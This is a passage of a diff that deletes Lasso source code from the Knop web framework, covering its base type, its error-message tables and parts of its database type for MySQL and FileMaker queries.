-		-type (required string) Page variables of the specified type will be stored in cache. \n\
-		-session (optional string) The name of an existing session to use for cache storage instead of the global storage\n\
-		-name (optional string) Extra name parameter to be able to isolate the cache storage from other sites on the same virtual hosts. ',
-	-namespace='knop_',
-	-required='type', -type='string',
-	-optional='session', -type='string',
-	-optional='name', -type='string'; // ignored for session
-	if: (local_defined: 'session');
-		//fail_if: (session_id: -name=#session) -> size == 0, -1, 'Cachestore with -session requires that the specified session is started';
-		local: 'cache_name' = '_knop_cache_' + (local: 'name');
-		session_addvar: -name=#session, #cache_name;
-		!((var: #cache_name) -> isa('map')) ? var: #cache_name = map;
-		(var: #cache_name) -> remove(#type);
-	else;
-		local: 'cache_name'='knop_' + (local: 'name') + '_' + server_name + response_localpath;
-		#cache_name -> removetrailing(response_filepath);
-		// initiate thread RW lock
-		!(global: 'rwlock_' + #cache_name) -> isa('rwlock') ? global: 'rwlock_' + #cache_name=Thread_RWLock;
-		// create a reference to the lock
-		local: 'lock'=@(global: 'rwlock_' + #cache_name);
-		// lock for writing
-		#lock -> writelock;
-		// check and initiate the cache storage
-		!((global: #cache_name) -> isa('map')) ? global: #cache_name = map;
-		(global: #cache_name) -> remove(#type);
-		// unlock
-		#lock -> writeunlock;
-	/if;
-
-/define_tag;
-
-
-?>
-[
-//------------------------------------------------------------------
-//    End knop custom tags in util.inc
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_base
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type('knoptype',
-	-namespace='knop_');
-	local('description'='All Knop custom types should have this type as parent type. This is to be able to identify all registered knop types. ');
-	local('isknoptype'=true);
-/define_type;
-
-define_type: 'base',
-	'knop_knoptype',
-	-namespace='knop_';
-//	-prototype;
-
-	local: 'version'='2009-09-14',
-		'description'='Base data type for Knop framework. Contains common member tags. Used as boilerplate when creating the other types. \
-						All member tags and instance variables in this type are available in the other knop types as well. ';
-/*
-
-
-CHANGE NOTES
-2009-09-14	JS	Syntax adjustments for Lasso 9
-2009-09-04	JS	Changed $__html_reply__ to content_body
-2009-04-07	JS	->error_msg: custom error numbers can now be added, even if the language already exists.
-2008-01-10	JS	->error_msg: improved reporting of custom error messages such as from bad database queries
-2007-12-13	JS	Added -> error_lang to provide a reference to the knop_lang object for error messages, to be able to add localized error messages to any Knop type (except knop_lang and knop_base)
-2007-12-12	JS	Added -html and -xhtml to ->help to get a nicely formatted output. 
-2007-12-11	JS	Centralized ->error_code and ->error_msg to knop_base. Moved all error codes to error_msg
-2007-12-06	JS	Changed ->help to improve the self-documentation. It will now always return an up to date list of member tags and parameter. 
-2007-11-05	JS	Added var name to trace output
-2007-06-17	JS	Added ->tagtime (was in nav earlier)
-2007-06-13	JS	Added -> varname to be able to retreive the name of the page variable that a type instance is stored in.
-2007-06-13	JS	Added -> xhtml to automatically sense if an xhtml doctype exists in the current page buffer. The result is cached in a page variable for performance. 
-				This is for internal use for member tags that output html. 
-2007-06-13	JS	Introduced page variable $_knop_data for general page level storage and caching, common between different knop objects. 
-2007-06-13	JS	Created the data type
-
-TODO: ->help: add output option to format for Google Code Wiki
-->xhtml is not working properly when site is run by atbegin handler and explicitly writing to content_body 
-
-
-*/
-
-	local: 'debug_trace'=array,
-		'_debug_trace'=array,
-		'instance_unique'=null,
-		'instance_varname'=null,
-		'tagtime'=integer,				// time for entire tag in ms
-		'tagtime_tagname'=string,
-		'error_code'=0,
-		'error_msg'=string,
-		'error_lang'=null,	// must be defined as knop_lang in each type instead, to avoid recursion
-		;
-
-	define_tag: 'ondeserialize', -description='Recreates transient variables after coming back from a session';
-		self -> properties -> first -> insert('_debug_trace'=array);
-	/define_tag;
-
-	define_tag: 'help', -description='Auto generates an overview of all member tags of a type, with all parameters specified for each member tag.', 
-		-optional='html',
-		-optional='xhtml';
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-		local: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\n' | '\n';
-
-		local: 'output'=string,
-			'tags'=array,
-			'description'=string,
-			'parameters'=string;
-		#output += (self -> type) + ' - version ' + (self -> 'version') + '\n' ;
-		#output += (self -> 'description') + '\n\n';
-		iterate: (self -> properties -> second) , local: 't';
-			#tags -> (insert: #t);
-		/iterate;
-		if: (self -> parent -> type != 'null'); // this doesn't work
-			iterate: (self -> parent -> properties -> second) , local: 't';
-				#tags -> (insert: #t);
-			/iterate;
-		/if;
-		#tags -> sort;
-		iterate: #tags , local: 't';
-			#parameters = string;
-			#output += '-> ' + (#t -> name);
-			#description=(#t -> value -> description);
-			iterate: (#t -> value -> paraminfo) , local: 'p';
-				if: #description !>> '-' + (#p -> paramname);
-					#parameters += '-' + (#p -> paramname) + ' (' (#p -> isrequired ? 'required' | 'optional') 
-						+ (#p -> paramtype != 'null' && #p -> paramtype -> size ? ' ' + (#p -> paramtype))  + ')\n';
-				/if;
-			/iterate;
-			#output += (#description -> size || #parameters -> size ? '\n' + #description);
-			#output += (#description >> 'Parameters:' ?  '\n');
-			#output += (#description !>> 'Parameters:' && #parameters -> size ? '\nParameters:\n');
-			#output += (#parameters -> size ? #parameters);
-			#output -> removetrailing('\n');
-			#output += '\n\n';
-		/iterate;
-		if: ((local_defined: 'html') && #html != false) || ((local_defined: 'xhtml') && #xhtml != false);
-			#output = encode_html: #output;
-			// normalize line breaks and convert to <br>
-			#output -> (replace: '\r\n', '\n') & (replace: '\r', '\n') & (replace: '\n', #eol + '\n');
-		/if;
-		return: #output;
-	/define_tag;
-
-
-	define_tag: 'xhtml', -description='Internal. Finds out if xhtml output should be used. Looks at doctype unless -xhtml is specified \
-			in the params array. The result is cached in a page variable. \n\
-			Looking at doctype doesn\'t work when using atbegin driven solutions since content_body isn\'t filled with the page buffer until the page has already been processed.  ',
-		-optional='params';
-		if: (local_defined: 'params') && #params >> '-xhtml';
-			local: 'xhtmlparam'=#params -> (find: '-xhtml') -> first;
-			if: #xhtmlparam -> type == 'pair'; // -xhtml=true / -xhtml=false
-				return: boolean: (#xhtmlparam -> value);
-			else; // plain -xhtml
-				return: true;
-			/if;
-		/if;
-		if: (var: '_knop_data') -> type != 'map';
-			$_knop_data = map;
-		/if;
-		if: $_knop_data !>> 'doctype_xhtml';
-			local: 'doctype' = content_body -> (substring: 1, (content_body -> (find: '>')));
-			$_knop_data -> (insert: 'doctype_xhtml' = (#doctype >> '<!DOCTYPE' && #doctype >> 'xhtml'));
-		/if;
-		return: $_knop_data -> (find: 'doctype_xhtml');
-	/define_tag;
-
-
-	define_tag: 'error_lang', -description='Returns a reference to the language object used for error codes, to be able to add localized error messages to any Knop type (except knop_lang and knop_base)';
-		return: @(self -> 'error_lang');
-	/define_tag;
-
-	define_tag: 'error_code', -description='Either proprietary error code or standard Lasso error code';
-				return: integer: (self -> 'error_code');
-	/define_tag;
-
-	define_tag: 'error_msg',
-		-optional='error_code', -type='integer', -copy;
-		!(local_defined: 'error_code') ? local: 'error_code'=(self -> error_code);
-		local: 'error_lang_custom'=(self -> 'error_lang');
-		local: 'error_lang'=(knop_lang: -default='en', -fallback);
-
-		local: 'errorcodes'=(map:
-			0 = 'No error',
-			-1728 = 'No records found', // standard Lasso error code
-			
-			// database errors 7000
-			7001 ='The specified table was not found',
-			7002 = 'Keyfield not specified',
-			7003 = 'Lockfield not specified',
-			7004 = 'User not specified for record lock',
-			7005 = 'Either keyvalue or lockvalue must be specified for update or delete',
-			7006 = 'Keyfield or keyvalue missing',
-			7007 = 'Keyvalue missing',
-			7008 = 'Keyvalue not unique',
-			7009 = '-sql can not be used with FileMaker',
-			7010 = 'Record locked by another user', // see error_data
-			7011 = 'Record lock not valid any more',
-			7012 = 'Could not set record lock', // see error_data
-			7013 = 'Failed to clear record locks', // see error_data
-			7016 = 'Add error', // see error_data
-			7017 = 'Add failed, duplicate key value',
-			7018 = 'Update error', // see error_data
-			7019 = 'Delete error', // see error_data
-			7020 = 'Keyfield not present in query',
-			7021 = 'Lockfield not present in query',
-			
-			// form errors 7100
-			7101 ='Form validation failed',
-			7102 = 'Unsupported field type',
-			7103 = 'Form->process requires that a database object is defined for the form',
-			7104 = 'Copyfield must copy to a different field name',
-
-			// grid errors 7200 
-			
-			// lang errors 7300
-			
-			// nav errors 7400
-			
-			// user errors 7500
-			7501 = 'Authentication failed',
-			7502 = 'Username or password missing',
-			7503 = 'Client fingerprint has changed'
-			
-			);
-		#error_lang -> (addlanguage: -language='en', -strings=@#errorcodes);
-		// add any custom error strings
-		iterate(#error_lang_custom -> 'strings', local('custom_language'));
-			if(#error_lang -> 'strings' !>> #custom_language -> name);
-				// add entire language at once
-				#error_lang -> addlanguage(-language=#custom_language -> name, -strings=#custom_language -> value);
-			else;
-				// add one string at a time
-				iterate(#custom_language -> value, local('custom_string'));
-					#error_lang -> insert(-language=#custom_language -> name, 
-						-key=#custom_string -> name, 
-						-value=#custom_string -> value);
-				/iterate;
-			/if;
-		/iterate;
-		
-		if: #errorcodes >> #error_code;
-			// return error message defined by this tag
-			if: #error_lang -> keys >> #error_code;
-				return: #error_lang -> (getstring: #error_code);
-			else;
-				return: #errorcodes -> (find: #error_code);
-			/if;
-		else;
-			if: (self -> 'error_msg') != '';
-				// return literal error message
-				return: (self -> 'error_msg');
-			else;
-				// test for error known by lasso
-				error_code = #error_code;
-				// return Lasso error message
-				return: error_msg;
-			/if;
-		/if;
-	/define_tag;
-
-	define_tag: 'varname', -description='Returns the name of the variable that this type instance is stored in.';
-		local: 'timer'=knop_timer;
-		if: self -> 'instance_unique' == null;
-			self -> 'instance_unique' = knop_unique;
-		/if;
-		if: self -> 'instance_varname' == null;
-			// look for the var name and store it in instance variable
-			iterate: (vars -> keys), (local: 'varname');
-				if: (var: #varname) -> type == self -> type 
-					&& ((var: #varname) -> 'instance_unique') == (self -> 'instance_unique');
-					(self -> 'instance_varname')=#varname;
-					loop_abort;
-				/if;
-			/iterate;
-		/if;
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer;
-		return: self -> 'instance_varname';
-	/define_tag;
-
-	define_tag: 'trace', -description='Returns the debug trace for a type instance',
-		-optional='html',
-		-optional='xhtml';
-
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-		local: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\n' | '\n';
-		local: 'trace'=(self -> 'debug_trace');
-		(self -> '_debug_trace') -> isa('array') ? #trace -> merge(self -> '_debug_trace');
-		return: #eol + 'Debug trace for ' + (self -> type ) + ' $' + (self -> varname) + #eol 
-			+ #trace -> (join: #eol) + #eol;
-
-	/define_tag;
-
-
-	define_tag: 'tagtime', -description='Returns the time it took to execute the last executed member tag for a type instance.',
-		-optional='html',
-		-optional='xhtml';
-		/* Standard timer code
-		At beginning of tag code:
-		local: 'timer'=knop_timer; 
-		
-		Before the end of tag code (before return):
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		
-		*/
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-
-		((local_defined: 'html') || (local_defined: 'xhtml')) ? return: (self -> type) + '->' + (self -> 'tagtime_tagname') + ': ' + (self -> 'tagtime') + ' ms<br' + #endslash + '>';
-		return: (self -> 'tagtime');
-	/define_tag;
-
-/define_type;
-
-
-
-?>
-[
-//------------------------------------------------------------------
-//    End knop_base
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_database
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type: 'database',
-	'knop_base',
-	-namespace='knop_';
-//	-prototype;
-	
-	local: 'version'='2010-11-23',
-		'description'='Custom type to interact with databases. Supports both MySQL and FileMaker datasources. ';
-
-/*
-
-CHANGE NOTES
-2012-06-10	SP	Fix for decimal precision bug in 8.6.0.1 in renderfooter.
-2012-01-15	SP	Add support for inline host method.  Thanks to Ric Lewis.
-2010-11-23	JS	->settable: removed reference for -table
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-06-26	JS	->nextrecord: Added deprecation warning
-2009-05-15	JS	->field: corrected the verification of the -index parameter
-2009-01-09	JS	Added a check before calling resultset_count so it will not break in Lasso versions before 8.5
-2009-01-09	JS	->_unknowntag: fixed incorrect debug_trace
-2008-12-03	JS	->addrecord: improved how keyvalue is returned when adding records
-2008-12-03	JS	->addrecord: inserting a generated keyvalue can now be suppressed by specifying -keyvalue=false
-2008-12-03	JS	->saverecord and ->deleterecord will now use the current keyvalue (if any), so -keyvalue will not have to be specified in that case. 
-2008-11-25	JS	->field and ->recorddata will no longer touch current_record if it was zero
-2008-11-24	JS	->field: Added -index parameter to be able to access any occurrence of the same field name
-2008-11-24	JS	Added -> records that returns a new data type knop_databaserows
-2008-11-24	JS	->resultset_count: added support for -inlinename. 
-2008-11-24	JS	Changed ->nextrecord to ->next. ->nextrecord remains supported for backwards compatibility.
-2008-11-14	JS	->nextrecord resets the record pointer when reaching the last record
-2008-11-13	JS	->recorddata now honors the current record pointer (as incremented by -nextrecord)
-2008-11-13	JS	->recorddata: added -recordindex parameter so a specific record can be returned instead of the first found.
-2008-10-30	JS	->getrecord now REALLY works with integer keyvalues (double oops) - I thought I fixed it 2008-05-28 but misplaced a paren...
-2008-09-26	JS	Added -> resultset_count corresponding to the same Lasso tag, so [resultset]...[/resultset] can now be used through the use of inlinename.
-2008-09-10	JS	-> getrecord, ->saverecord, ->deleterecord: Corrected handling of lock user to work better with knop_user
-2008-07-09	JS	->saverecord: -keeplock now updates the lock timestamp
-2008-05-28	JS	->getrecord now works with integer keyvalues (oops)
-2008-05-27	JS	->get returns a new datatype knop_databaserow 
-2008-05-27	JS	Added ->size and ->get so a database object can be iterated. When iterating each row is returned as an array of field values. 
-2008-05-27	JS	Addedd ->nextrecord that increments the recordpointer each time it is called until the last record in the found set is reached. Returns true as long as there are more records. Useful in a while loop - see example below
-2008-05-27	JS	Implemented record pointer 'current_record'. The record pointer is reset for each new query. 
-2008-05-27	JS	->field: added -recordindex to get data from any record in the current found set
-2008-05-27	JS	Added ->_unknowntag as shortcut to field
-2008-05-26	JS	Removed onassign since it causes touble
-2008-05-26	JS	Extended field_names to return the field names for any specified table, return field names also for db objects that have never been used for a database query and optionally return field types
-2008-01-29	JS	->getrecord now supports -sql. Make sure that the SQL statement includes the relevant keyfield (and lockfield if locking is used). 
-2008-01-10	JS	->capturesearchvars: error_code and error_msg was mysteriously not set after database operations that caused errors. 
-2008-01-08	JS	->saverecord: added flag -keeplock to be able to save a locked record without releasing the lock
-2007-12-15	JS	Adding support for knop_user in record locking is in progress. Done for ->oncreate and ->getrecord. 
-2007-12-11	JS	Moved error_code and error_msg to knop_base
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-12-10	JS	Added ->settable to be able to copy an existing database object and properly set a new table name for it. Faster than creating a new instance from scratch. 
-2007-12-03	JS	Corrected shown_first once again, hoping it's right this time
-2007-11-29	JS	Added support for field_names and corresponding member tag ->field_names
-2007-11-05	JS	Added var name to trace output
-2007-10-26	JS	->capturesearchvars: corrected shown_first when no records found
-2007-10-26	JS	->oncreate: added default value "keyfield" if the -keyfield parameter is not specified
-2007-09-06	JS	Corrected self -> 'tagtime' typo
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-11	JC	added handling of xhtml output
-2007-05-30	JS	Changed recordid_value to keyfield_value and -recordid to -keyvalue
-2007-05-28	JS	->oncreate: Added clearing of current error at beginning of tag
-2007-04-19	JS	Corrected the handling of -maxrecords and -skiprecords for SQL selects that have LIMIT specified
-2007-04-19	JS	Improved handling of foundrows so it finds any whitespace around SQL keywords, instead of just plain spaces
-2007-04-18	JS	->select now populates recorddata with all the fields for the first found record. Previously it only populated recorddata when there was 1 found record. 
-2007-04-12	JS	->oncreate: Added authentication inline around Database_TableNames../Database_TableNames
-2007-04-10	JS	->oncreate: Improved validation of table name (table_realname can sometimes be null even for valid table names)
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-02-02	JS	Improved reporting of Lasso error messaged in error_msg
-2007-01-30	JS 	Added real error codes and additional error data for some errors (like record locked)
-2007-01-30	JS	Changed -keyvalue parameters to copy value instead of pass as reference, to not cause problems when using keyvalue from the same db object as is being updated, for example $db->(saverecord: -keyvalue=$db->keyvalue)
-2007-01-26	JS	Adjusted affectedrecord_keyvalue so it's only captured for -add and -update
-2007-01-23	JS	Supports -uselimit (or querys that use LIMIT) and still gets proper searchresult vars (using a separate COUNT(*) query) - may not always get the right result for example for queries with GROUP BY
-2007-01-23	JS	-keyfield can be specified for saverecord to override the default
-2007-01-23	JS	Changed name of ->updaterecord to ->saverecord
-2007-01-23	JS 	Fixed bug where keyfield was missing as returnfield when looking up locked record for deleterecord
-2007-01-23	JS	Added ->field
-2007-01-19	JS	Added maxrecords_value and skiprecords_value to searchresultvars
-2007-01-18	JS	Added affectedrecord_keyvalue to make it possible to highlight affected record in record list (grid)
-
-
-TODO:
-Allow -keyfield to be specified for ->addrecord and ->deleterecord
-Add some Active Record similar functionality for editing
-Look at making it so -table can be set dynamically instead of fixed at oncreate, to eliminate the need for one db object for each table. This can cause problems with record locks and how they interact with knop_user 
-datetime_create and datetime_mod, and also user_create and user_mod.
-	Use default field names but allow to override at oncreate, and verify them at oncreate before trying to use them. 
-
-
-*/
-
-	// instance variables
-	// these variables are set once
-	local: 'database'=string,
-		'table'=string,
-		'table_realname'=string,	// the actual table name, to be used in SQL statements (in case the table name is aliased in Lasso)
-		'username'=string,
-		'password'=string,
-		'db_connect'=array,
-		'host'=array,				// add support for inline host method
-		'datasource_name'=string,
-		'isfilemaker'=false,
-		'lock_expires'=1800,		// seconds before a record lock expires
-		'lock_seed'=knop_seed,		// encryption seed for the record lock
-		'error_lang'=(knop_lang: -default='en', -fallback),
-		'user'=null,				// knop_user that will be used for record locking
-		'databaserows_map'=map;		// map to hold databaserows for each inlinename
-
-	// these variables are set for each query
-	local: 'inlinename'=string,			// the inlinename that holds the result of the latest db operation
-		'keyfield'=string,
-		'keyvalue'=null,
-		'affectedrecord_keyvalue'=null,	// keyvalue of last added or updated record (not reset by other db actions)
-		'lockfield'=string,
-		'lockvalue'=null,
-		'lockvalue_encrypted'=null,
-		'timestampfield'=string,		// for optimistic locking
-		'timestampvalue'=string,
-		'searchparams'=string,			// the resulting pair array used in the database action
-		'querytime'=integer,			// query time in ms
-		// 'tagtime'=integer,		moved to knop_base
-		'recorddata'=map,				// for single record results, a map of all returned db fields
-		'error_data'=map,				// additional data for certain errors
-		'message'=string,				// user message for normal result
-		'current_record'=integer,		// index of the current record to get field values from a specific record
-		'field_names_map'=map,
-		'resultset_count_map'=map;		// resultset_count stored for each inlinename 
-	// these vars have directly corresponding Lasso tags so they can be set programatically
-	local: 'searchresultvars'=(array: 'action_statement', 'found_count', 'shown_first', 
-		'shown_last', 'shown_count', 'field_names', 'records_array', 'maxrecords_value', 'skiprecords_value');
-	iterate: #searchresultvars, (local: 'resultvar');
-		local(#resultvar = null);
-	/iterate;
-
-	local: 'errors_error_data'=(map: 7010, 7012, 7013, 7016, 7018, 7019); // these error codes can have more info in error_data map
-
-	define_tag: 'oncreate',
-		-required='database',
-		-required='table',
-		-optional='host',			// add support for inline host method
-		-optional='username',
-		-optional='password',
-		-optional='keyfield',
-		-optional='lockfield',
-		-optional='user',
-		-optional='validate';		// validate the database connection info (adds the overhead of making a test connection to the database)
-		local: 'timer'=knop_timer; 
-		
-		// reset error
-		error_code = 0;
-		error_msg = error_noerror;
-	
-		// validate database and table names to make sure they exist in Lasso
-		(self -> 'datasource_name') = Lasso_DatasourceModuleName: #database;
-		fail_if: error_code != 0, error_code, error_msg;
-				
-		// store params as instance variables
-		local_defined('database') ? (self -> 'database') = @#database; 
-		local_defined('table') ? (self -> 'table') = @#table; 
-		local_defined('host') ? (self -> 'host') = @#host;	// add support for inline host method
-		local_defined('username') ? (self -> 'username') = @#username; 
-		local_defined('password') ? (self -> 'password') = @#password; 
-		local_defined('lockfield') ? (self -> 'lockfield') = @#lockfield; 
-		local_defined('user') ? (self -> 'user') = @#user;
-			// param has default value
-		(self -> 'keyfield') = (local_defined('keyfield') 
-								? @#keyfield // use parameter value
-								| 'keyfield'); // use default value
-
-		
-		// build inline connection array
-		local_defined('database') ? (self -> 'db_connect') -> insert('-database'  = @#database);
-		local_defined('table') ? (self -> 'db_connect') -> insert('-table'  = @#table);
-		local_defined('host') ? (self -> 'db_connect') -> insert('-host'  = @#host);	// add support for inline host method
-		local_defined('username') ? (self -> 'db_connect') -> insert('-username'  = @#username);
-		local_defined('password') ? (self -> 'db_connect') -> insert('-password'  = @#password);
-
-		(self -> 'table_realname') = (table_realname: #database, #table);
-		if:  (self -> 'table_realname') == null;
-			// verify that the table exists even if table_realname is null
-			inline: (self -> 'db_connect');
-				Database_TableNames: #database;
-					if: Database_TableNameItem == #table;
-						(self -> 'table_realname') = #table;
-						loop_abort;
-					/if;
-				/Database_TableNames;
-			/inline;
-		/if;
-		fail_if: (self -> 'table_realname') == null, 7001, self -> error_msg(7001); // The specified table was not found
-		
-		if: (local_defined: 'validate');
-			// validate db connection
-			inline: (self -> 'db_connect');
-				fail_if: error_code != 0, error_code, error_msg;
-			/inline;
-		/if;
-
-		if: Lasso_DatasourceIsFilemaker: #database || Lasso_DatasourceIsFilemakerSA: #database;
-			(self -> 'isfilemaker') = true;
-		/if;
-		(self -> 'debug_trace') -> (insert: tag_name + ': creating database object on ' + (self -> 'datasource_name') +', isfilemaker: ' + (self -> 'isfilemaker') + ' at ' + (date -> (format: '%Q %T')));
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-
-	/define_tag;
-	
-	/* 
-	define_tag: 'onassign', -required='value', -description='Internal, needed to restore references when ctype is defined as prototype';
-		// recreate references here
-		(self -> 'user') = @(#value -> 'user');
-	/define_tag;
-	*/
-
-	define_tag('_unknowntag', -description='Shortcut to field');
-		if((self -> 'field_names_map') >> tag_name);
-			return(self -> field(tag_name));
-		else;
-			//fail(-9948, self -> type + '->' + tag_name + ' not known.');
-			(self -> 'debug_trace') -> insert(self -> type + '->' + tag_name + ' not known.');
-		/if;
-	/define_tag;
-
-	define_tag: 'settable',	-description='Changes the current table for a database object. Useful to be able to create \
-		database objects faster by copying an existing object and just change the table name. This is a little bit faster \
-		than creating a new instance from scratch, but no table validation is performed. Only do this to add database \
-		objects for tables within the same database as the original database object. ',
-		-required='table', -type='string';
-		local: 'timer'=knop_timer; 
-	
-		(self -> 'error_code')=0;
-		(self -> 'error_msg')=string;
-		(self -> 'table_realname') = #table;
-		(self -> 'db_connect') -> removeall(#table);
-		(self -> 'db_connect') -> (insert: '-table' = #table);
-		(self -> 'table_realname') = (table_realname: self -> 'database', #table);
-		if:  (self -> 'table_realname') == null;
-			// verify that the table exists even if table_realname is null
-			inline: (self -> 'db_connect');
-				Database_TableNames: (self -> 'database');
-					if: Database_TableNameItem == #table;
-						(self -> 'table_realname') = #table;
-						loop_abort;
-					/if;
-				/Database_TableNames;
-			/inline;
-		/if;
-		fail_if: (self -> 'table_realname') == null, 7001, self -> error_msg(7001); // The specified table was not found
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'select', -description='perform database query, either Lasso-style pair array or SQL statement.\
-			 ->recorddata returns a map with all the fields for the first found record. \
-			 If multiple records are returned, the records can be accessed either through ->inlinename or ->records_array.\n\
-			Parameters:\n\
-			-search (optional array) Lasso-style search parameters in pair array\n\
-			-sql (optional string) Raw sql query\n\
-			-keyfield (optional) Overrides default keyfield, if any\n\
-			-keyvalue (optional)\n\
-			-inlinename (optional) Defaults to autocreated inlinename',
-		-optional='search', -type='array',
-		-optional='sql', -type='string',
-		-optional='keyfield',
-		-optional='keyvalue', -copy,
-		-optional='inlinename', -copy;
-
-		knop_debug(self->type + ' -> ' + tag_name, -open, -type=self->type);
-		handle;
-			//knop_debug(-close, -witherrors, -type=self->type);
-			knop_debug('Done with ' + self->type + ' -> ' + tag_name, -close, -witherrors, -time);
-		/handle;
-		local: 'timer'=knop_timer; 
-
-		// clear all search result vars
-		self -> reset;
-		
-		local: '_search'=(local: 'search'),
-			'_sql'=(local: 'sql');
-		if: #_search -> type != 'array';
-			#_search = array;
-		/if;
-		if: #_sql != '' && (self -> 'isfilemaker');
-			#_sql='';
-			fail: 7009, self -> error_msg(7009); // sql can not be used with filemaker
-		/if;
-		// inlinename defaults to a random string
-		(self -> 'inlinename') = ((local: 'inlinename') != '' ? #inlinename | 'inline_' + knop_unique);
-		#_search -> (removeall: -inlinename);
-		#_search -> (insert: -inlinename=(self -> 'inlinename'));
-		
-		// remove all database actions from the search array
-		#_search -> (removeall: -search) & (removeall: -add) & (removeall: -delete) & (removeall: -update) 
-			& (removeall: -sql) & (removeall: -nothing) & (removeall: -show)
-			// & (removeall: -table)  // table is ok to override
-			& (removeall: -database);
-
-		if: (local: 'sql') != '' && (string_findregexp: #sql, -find='\\bLIMIT\\b', -ignorecase) -> size;
-			(self -> 'debug_trace') -> (insert: tag_name + ': grabbing -maxrecords and -skiprecords from search array');
-			// store maxrecords and skiprecords for later use
-			if: #_search >> '-maxrecords';
-				(self -> 'maxrecords_value') = #_search -> (find: '-maxrecords') -> last -> value;
-				(self -> 'debug_trace') -> (insert: tag_name + ': -maxrecords value found in search array ' + (self -> 'maxrecords_value'));
-			/if;
-			if: #_search >> '-skiprecords';
-				(self -> 'skiprecords_value') = #_search -> (find: '-skiprecords') -> last -> value;
-				(self -> 'debug_trace') -> (insert: tag_name + ': -skiprecords value found in search array ' + (self -> 'skiprecords_value'));
-			/if;
-			// remove skiprecords from the actual search parameters since it will conflict with LIMIT
-			#_search -> (removeall: '-skiprecords');
-		/if;
-
-		if: !(local_defined: 'keyfield') && (self -> 'keyfield') != '';
-			local: 'keyfield'=(self -> 'keyfield');
-		/if;
-		if: (local: 'keyfield') != '';
-			#_search -> (removeall: '-keyfield');
-			if: !(self -> 'isfilemaker');
-				#_search -> (insert: '-keyfield'=#keyfield);
-			/if;
-			if: (local: 'keyvalue') != '';
-				#_search -> (removeall: '-keyvalue');
-				if: (self -> 'isfilemaker');
-					#_search -> (insert: '-op'='eq');
-					#_search -> (insert: #keyfield=#keyvalue);
-				else;
-					#_search -> (insert: '-keyvalue'=#keyvalue);
-				/if;
-			/if;
-		/if;
-
-		// add sql action or normal search action
-		if: #_sql != '';
-			#_search -> (insert: '-sql'=#_sql);
-		else;
-			#_search -> (insert: '-search');
-		/if;
-		// perform database query, put connection parameters last to override any provided by the search parameters
-		//(self -> 'debug_trace') -> (insert: tag_name + ': search ' + #_search);
-		local: 'querytimer'=knop_timer;
-		inline: #_search,(self -> 'db_connect');
-			(self -> 'querytime') = integer: #querytimer;
-			(self -> 'searchparams') = #_search;
-			(self -> 'debug_trace') -> (insert: tag_name ': action_statement ' + action_statement);
-			knop_debug(action_statement, -sql);
-			knop_debug(found_count ' found');
-			self -> capturesearchvars;
-		/inline;
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		(self -> 'debug_trace') -> (insert: tag_name + ': found ' (self -> 'found_count') + ' records in ' + (self -> 'querytime') + ' ms, tag time ' + (self -> 'tagtime') + ' ms, ' + (self -> error_msg) + ' ' + (self -> error_code));
-	/define_tag;
-
-
-	define_tag: 'addrecord', -description='Add a new record to the database. A random string keyvalue will be generated unless a -keyvalue is specified. \n\
-			Parameters:\n\
-			-fields (required array) Lasso-style field values in pair array\n\
-			-keyvalue (optional) If -keyvalue is specified, it must not already exist in the database. Specify -keyvalue=false to prevent generating a keyvalue. \n\
-			-inlinename (optional) Defaults to autocreated inlinename',
-		-required='fields', -type='array',
-		-optional='keyvalue', -copy,
-		-optional='inlinename';
-		local: 'timer'=knop_timer; 
-
-		// clear all search result vars
-		self -> reset;
-		local: '_fields'=#fields;
-		
-		// remove all database actions from the search array
-		#_fields -> (removeall: '-search') & (removeall: '-add') & (removeall: '-delete') & (removeall: '-update') 
-			& (removeall: '-sql') & (removeall: '-nothing') & (removeall: '-show')
-			// & (removeall: '-table')  // table is ok to override
-			& (removeall: '-database');
-
-		inline: (self -> 'db_connect'); // connection wrapper
-			if: (local: 'keyvalue') != '' && (local: 'keyvalue') !== false && (self -> 'keyfield')!='';
-				// look for existing keyvalue
-				inline: -op='eq', (self -> 'keyfield')=#keyvalue, 
-					-maxrecords=1,
-					-returnfield=(self -> 'keyfield'),
-					-search;
-					if: found_count > 0;
-						(self -> 'error_code') = 7017; // duplicate keyvalue
-					else;
-						(self -> 'keyvalue') = #keyvalue;
-					/if;
-				/inline;
-			/if;
-
-			
-			if: (self -> 'error_code') == 0;
-				// proceed to add record
-
-				if: (self -> 'keyfield') != '';
-					if: (local: 'keyvalue') == '' && (local: 'keyvalue') !== false;
-						(self -> 'debug_trace') -> (insert: tag_name + ': generating keyvalue');
-						// create unique keyvalue
-						(self -> 'keyvalue')=knop_unique;
-					/if;
-					#_fields -> (removeall: (self -> 'keyfield'));
-					#_fields -> (removeall: '-keyfield') & (removeall: '-keyvalue');
-					#_fields -> (insert: '-keyfield'=(self -> 'keyfield'));
-					if: (local: 'keyvalue') !== false;
-						#_fields -> (insert: (self -> 'keyfield')=(self -> 'keyvalue'));
-					/if;
-				/if;
-
-				// inlinename defaults to a random string
